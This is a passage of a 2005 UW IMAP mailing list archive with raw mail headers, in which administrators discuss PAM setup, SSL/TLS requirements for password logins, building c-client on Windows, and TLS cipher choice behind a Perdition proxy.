0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I was thinking that "other" would take care of it. I copied my "other" entries to "imap" entries however, to see what would happen. It does not seem to make a difference. hmmmm... On solaris they stick everything into one big pam.conf file. kevin -----Original Message----- From: mrc@ndcms.cac.washington.edu [mailto:mrc@ndcms.cac.washington.edu] On Behalf Of Mark Crispin Sent: Thursday, July 21, 2005 3:12 PM To: Urciolo, Kevin Cc: UW IMAP Software Interest List Subject: RE: [Imap-uw] IMAP With SSHA On Thu, 21 Jul 2005, Urciolo, Kevin wrote: > I tried this yesterday actually. However, I am still having problems. > I am not sure what is going on at the moment. I am not getting debug=20 > from pam in the logs showing that it is being hit. The screen shots=20 > show the error from the client and the client configuration. Did you set up an IMAP PAM authenticator? That is required. On most systems, this would be /etc/pam.d/imap but I don't know for certain what it would be on Solaris. On my system, I just copied /etc/pam.d/ftpd to /etc/pam.d/imap and /etc/pam.d/pop (the latter if you use ipop3d). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 12:50:07 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 12:50:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LJo6bb000761 for ; Thu, 21 Jul 2005 12:50:06 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJo5tB011382 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 12:50:06 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJnra2021312; Thu, 21 Jul 2005 12:49:53 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJnqUO021302 for ; Thu, 21 Jul 2005 12:49:52 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJnoFA032111 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 21 Jul 2005 12:49:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJnmuE006235 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 21 Jul 2005 12:49:48 -0700 Received: from Shimo-Tomobiki.panda.com (56-99-74-65.gci.net [65.74.99.56]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LJnlaJ011619 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Jul 2005 12:49:47 -0700 Date: Thu, 21 Jul 2005 11:49:44 -0800 From: Mark Crispin To: "Urciolo, Kevin" Subject: RE: [Imap-uw] IMAP With SSHA In-Reply-To: <5DBAE64CD0928B44B45B6FAF5B03B902B34A74@XCGV4806.northgrum.com> Message-ID: References: <5DBAE64CD0928B44B45B6FAF5B03B902B34A74@XCGV4806.northgrum.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 21 Jul 2005, Urciolo, Kevin wrote: > I was thinking that "other" would take care of it. I copied my "other" > entries to "imap" entries however, to see what would happen. It does > not seem to make a difference. hmmmm... Make sure that you are using SSL or TLS encryption in your IMAP client. By default, plaintext password authentication is *NOT* permitted unless there is SSL or TLS encryption. Modern well-written clients, such as Pine, negotiate TLS automatically if you do not specify SSL. Older and poorly-written clients will attempt to do insecure password authentication without encryption; this will not work and you must instruct those clients to use SSL. Also, be sure that you set up SSL/TLS certificates for the IMAP server as described in the SSLBUILD documentation file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 13:10:30 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 13:10:30 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LKAUBx001972 for ; Thu, 21 Jul 2005 13:10:30 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKATQf012835 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 13:10:29 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKAIrT024037; Thu, 21 Jul 2005 13:10:18 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKAHsq024028 for ; Thu, 21 Jul 2005 13:10:17 -0700 Received: from xcgca810.northgrum.com (xcgca810.northgrum.com [208.12.122.34]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKAGiS030902 for ; Thu, 21 Jul 2005 13:10:16 -0700 Received: from xcgca800.northgrum.com ([157.127.103.70]) by xcgca810.northgrum.com with InterScan Messaging Security Suite; Thu, 21 Jul 2005 13:10:14 -0700 Received: from xcgv4800.northgrum.com ([158.114.112.124]) by xcgca800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 21 Jul 2005 13:10:13 -0700 Received: from XCGV4806.northgrum.com ([158.114.112.166]) by xcgv4800.northgrum.com with Microsoft SMTPSVC(5.0.2195.6713); Thu, 21 Jul 2005 16:09:57 -0400 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [Imap-uw] IMAP With SSHA Date: Thu, 21 Jul 2005 16:09:57 -0400 Message-ID: <5DBAE64CD0928B44B45B6FAF5B03B902B34A99@XCGV4806.northgrum.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Imap-uw] IMAP With SSHA Thread-Index: AcWOLW74zgjNBdB8TKSuTeJTBTDu7wAAkQDA From: "Urciolo, Kevin" To: "Mark Crispin" X-OriginalArrivalTime: 21 Jul 2005 20:09:57.0266 (UTC) FILETIME=[2A81EF20:01C58E30] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Ah... It was the SSL thing screwing it up. I recompiled with SSLTYPE=3Dunix just to see if I could connect using plaintext without = SSL. It works. I will now go back and properly follow the directions for SSL. Thanks everyone for the help.=20 -----Original Message----- From: mrc@ndcms.cac.washington.edu [mailto:mrc@ndcms.cac.washington.edu] On Behalf Of Mark Crispin Sent: Thursday, July 21, 2005 3:50 PM To: Urciolo, Kevin Cc: UW IMAP Software Interest List Subject: RE: [Imap-uw] IMAP With SSHA On Thu, 21 Jul 2005, Urciolo, Kevin wrote: > I was thinking that "other" would take care of it. I copied my "other" > entries to "imap" entries however, to see what would happen. It does=20 > not seem to make a difference. hmmmm... Make sure that you are using SSL or TLS encryption in your IMAP client.=20 By default, plaintext password authentication is *NOT* permitted unless there is SSL or TLS encryption. Modern well-written clients, such as Pine, negotiate TLS automatically if you do not specify SSL. Older and poorly-written clients will attempt to do insecure password authentication without encryption; this will not work and you must instruct those clients to use SSL. Also, be sure that you set up SSL/TLS certificates for the IMAP server as described in the SSLBUILD documentation file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 13:15:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 13:15:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LKFnji002327 for ; Thu, 21 Jul 2005 13:15:49 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKFm6d028744 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 13:15:48 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKFVEj024488; Thu, 21 Jul 2005 13:15:31 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKBKSr024143 for ; Thu, 21 Jul 2005 13:11:20 -0700 Received: from bureau14.utcc.utoronto.ca (bureau14.utcc.utoronto.ca [128.100.132.42]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKBK8M030519 for ; Thu, 21 Jul 2005 13:11:20 -0700 Received: from cicely.cns.utoronto.ca ([128.100.103.144] EHLO [127.0.0.1] ident: IDENT-NOT-QUERIED [port 4410]) by bureau14.utcc.utoronto.ca with ESMTP id <890123-813>; Thu, 21 Jul 2005 16:11:13 -0400 Message-ID: <42E0015D.4090502@utoronto.ca> Date: Thu, 21 Jul 2005 16:11:09 -0400 From: Darren Jacobs User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] signoff Imap-uw X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu signoff Imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 21 13:49:21 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Jul 2005 13:49:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6LKnLrm004333 for ; Thu, 21 Jul 2005 13:49:21 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKnK2I030661 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 21 Jul 2005 13:49:20 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKmxob029656; Thu, 21 Jul 2005 13:48:59 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKmw1A029640 for ; Thu, 21 Jul 2005 13:48:58 -0700 Received: from jambajuice.apexvoice.com (adsl-068-213-192-114.sip.bct.bellsouth.net [68.213.192.114]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6LKmvOG014495 for ; Thu, 21 Jul 2005 13:48:57 -0700 Received: from localhost (mike@localhost) by jambajuice.apexvoice.com (8.9.3/8.9.3) with ESMTP id NAA11020; Thu, 21 Jul 2005 13:59:46 -0400 X-Authentication-Warning: jambajuice.apexvoice.com: mike owned process doing -bs Date: Thu, 21 Jul 2005 13:59:46 -0400 (EDT) From: Michael Trank X-Sender: mike@jambajuice.apexvoice.com To: Mike Schmidt Subject: Re: [Imap-uw] trouble building IMAP/C-CLIENT for Win32 In-Reply-To: <42DFF5A5.5050003@sepia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: "imap-uw@u.washington.edu" X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks, Mike. After I corrected the environment variables, everything got built. On Thu, 21 Jul 2005, Mike Schmidt wrote: > Hi, > > Just to throw in ny two bits: I have been compiling and running c-client > under win32 for some time now. I can confirm that with the Platform SDK > and visual studion 2003, c-client compiles and functions very well. I > run it from a visual studio project tailored to my usage requirements > (i.e. the dirvers I need) and it works very well. > > Mike > > Mark Crispin wrote: > > > On Wed, 20 Jul 2005, Mike Trank wrote: > > > >> I've built IMAP and C-client *lots* of times on Unix/Linux and never had > >> any trouble. But trying to build on Win2k is driving me nuts. I have > >> installed the "Microsoft Platform SDK" and chose > >> "Complete" installation. I can see that the platform SDK's BIN directory > >> is in the PATH and also the include > >> directory is in the INCLUDE envvar, but I always get the compile errors > >> shown below. > > > > > > The compile errors that you report indicate that you do NOT have the > > complete Microsoft Platform SDK installed; you are missing all the > > definitions for Microsoft's encryption and certificate management > > support. > > > > The INCLUDE definition doesn't seem to have the SDK directories, which > > suggest to me that you don't have it set up. I think that you may > > have run this in an ordinary command window, instead of one of the > > special command windows for the Platform SDK. In the Start -> > > Programs menu under Microsoft Platform SDK, you should find some > > programs that put you in a command prompt with the SDK set up. > > > > Or, you can install the newer Visual Studio .NET 2003 instead of the > > VC98 that you're running now and not worry about it. > > > > -- Mark -- > > > > http://staff.washington.edu/mrc > > Science does not emerge from voting, party politics, or public debate. > > Si vis pacem, para bellum. > > _______________________________________________ > > Imap-uw mailing list > > Imap-uw@u.washington.edu > > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 28 07:32:18 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 07:32:18 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6SEWIMp000629 for ; Thu, 28 Jul 2005 07:32:18 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEWHKl016368 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 07:32:17 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEVvVh007705; Thu, 28 Jul 2005 07:31:57 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEVuXH007697 for ; Thu, 28 Jul 2005 07:31:56 -0700 Received: from serv01.divms.uiowa.edu (serv01.divms.uiowa.edu [128.255.44.134]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEVt0c032539 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 28 Jul 2005 07:31:56 -0700 Received: from [128.255.44.44] (IDENT:U2FsdGVkX19rvGTw8CPZZ2BhSDMPia6L+wJyuwEL+uM@[128.255.44.44]) by serv01.divms.uiowa.edu with id j6SEVr68024425 for ; Thu, 28 Jul 2005 09:31:55 -0500 (CDT) Message-ID: <42E8EC59.7090605@divms.uiowa.edu> Date: Thu, 28 Jul 2005 09:31:53 -0500 From: Karl Boyken User-Agent: Mozilla Thunderbird 1.0.6-1.4.1 (X11/20050719) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Cipher setting X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: boyken@divms.uiowa.edu List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Is there a way to specify which cipher to use for TLS? I'm trying setting up a Perdition 1.17 proxy server in front of our UW IMAP 2004c1 server. Perdition can set up an SSL session with UW IMAP with no problem, but TLS sessions fail. I've used ssldump to examine TLS sessions, and it looks like cipher negotiation is failing for some reason. Perdition can be configured to use a specific cipher--is there some way to configure the cipher used by UW IMAP for TLS? Thanks. -- Karl Boyken, system administrator karl-boyken@uiowa.edu 303A MLH, Dept. of Comp. Sci. http://www.cs.uiowa.edu/~boyken/ The U. of Iowa, Iowa City, IA 52242 319-335-2730 (voice) 319-335-3668 (fax) _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 28 07:38:52 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 07:38:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6SEcqam000857 for ; Thu, 28 Jul 2005 07:38:52 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEcpru016637 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 07:38:51 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEciIE008100; Thu, 28 Jul 2005 07:38:44 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEZUwQ007877 for ; Thu, 28 Jul 2005 07:35:30 -0700 Received: from OWA01.adsroot.itcs.umich.edu (owa01.adsroot.itcs.umich.edu [141.211.27.138]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SEZTtm027165 for ; Thu, 28 Jul 2005 07:35:30 -0700 Received: from engin-mail5.engin.umich.edu ([141.213.80.29]) by OWA01.adsroot.itcs.umich.edu with Microsoft SMTPSVC(6.0.3790.211); Thu, 28 Jul 2005 10:35:24 -0400 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Subject: RE: [Imap-uw] Cipher setting Date: Thu, 28 Jul 2005 10:35:29 -0400 Message-ID: <75FC7BCD97DB854EA9E86F6F9292A550C589@engin-mail5.engin.umich.edu> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [Imap-uw] Cipher setting Thread-Index: AcWTgTBMZ4frij0zRKG+frFUqXOpWAAADB/A From: "Cuttitta, Matthew" To: X-OriginalArrivalTime: 28 Jul 2005 14:35:24.0526 (UTC) FILETIME=[971D20E0:01C59381] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu >Is there a way to specify which cipher to use for TLS? I'm trying >setting up a Perdition 1.17 proxy server in front of our UW IMAP 2004c1 server. Perdition can set up an SSL session with UW IMAP with no problem, but=20 I am working on the same setup and have the same problem. Why don't you just use SSL on the backend instead of TLS? Matt Cuttitta _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 28 12:26:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 12:26:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6SJQ28T016618 for ; Thu, 28 Jul 2005 12:26:02 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJQ16F022716 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 12:26:01 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJPefh023370; Thu, 28 Jul 2005 12:25:40 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJPdoR023362 for ; Thu, 28 Jul 2005 12:25:39 -0700 Received: from rs15.luxsci.com (rs15.luxsci.com [65.61.166.71]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJPbsv024884 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 28 Jul 2005 12:25:38 -0700 Received: from [192.168.1.5] (c-65-96-147-245.hsd1.ma.comcast.net [65.96.147.245]) (authenticated bits=0) by rs15.luxsci.com (8.12.11/8.12.11) with ESMTP id j6SJPa9M012906 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Thu, 28 Jul 2005 14:25:37 -0500 Message-ID: <42E9312A.5050706@luxsci.com> Date: Thu, 28 Jul 2005 15:25:30 -0400 From: Erik Kangas Organization: Lux Scientiae, Incorporated User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu X-Enigmail-Version: 0.89.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Selectively forcing SSL access for IMAP and POP X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: kangas@luxsci.com List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, I have some server configured soas to allow both insecure POP/IMAP and POP/IMAP over SSL. We are using UW IMAP and PAM for authentication. What I would like to do is force *selected* users to only be allowed to login via the SSL ports. I know I can do this by putting these people on a different server and either blocking the insecure ports or compiling imap/pop to only allow SSL; however, this is not an option.... they have to stay on the same server as other users who do want to use insecure logins. So, * Is there some way to use different PAM files for SSL and non-SSL connections? If so, we could use PAM-Listfile to allow or deny access on a per-user basis. * Are there other suggestions that are clean? I suppose a "dirty" solution would be to hack the authentication part of imapd to do a pam-listfile similar thing ... knowing if the login is using SSL or not. However, I prefer to keep my IMAPd code as close as possible to the source distribution. Any suggestions are very welcome. Thank you, -Erik Kangas -- Erik Kangas, Ph.D. --- President of Lux Scientiae, Incorporated kangas@luxsci.com --- http://luxsci.com Office Phone: 1-617-507-2162 Cell Phone: 1-617-596-9558 P.O. Box 326 Luxsci Toll Free: 1-800-441-6612 Westwood, Massachusetts LuxSci FAX: 1-413-332-0598 02090, USA _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Jul 28 12:35:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 28 Jul 2005 12:35:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6SJZ2hj017003 for ; Thu, 28 Jul 2005 12:35:02 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJZ1P3007032 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 28 Jul 2005 12:35:01 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6SJYr2S024602; Thu, 28 Jul 2005 12:34:53 -0700 Received: from 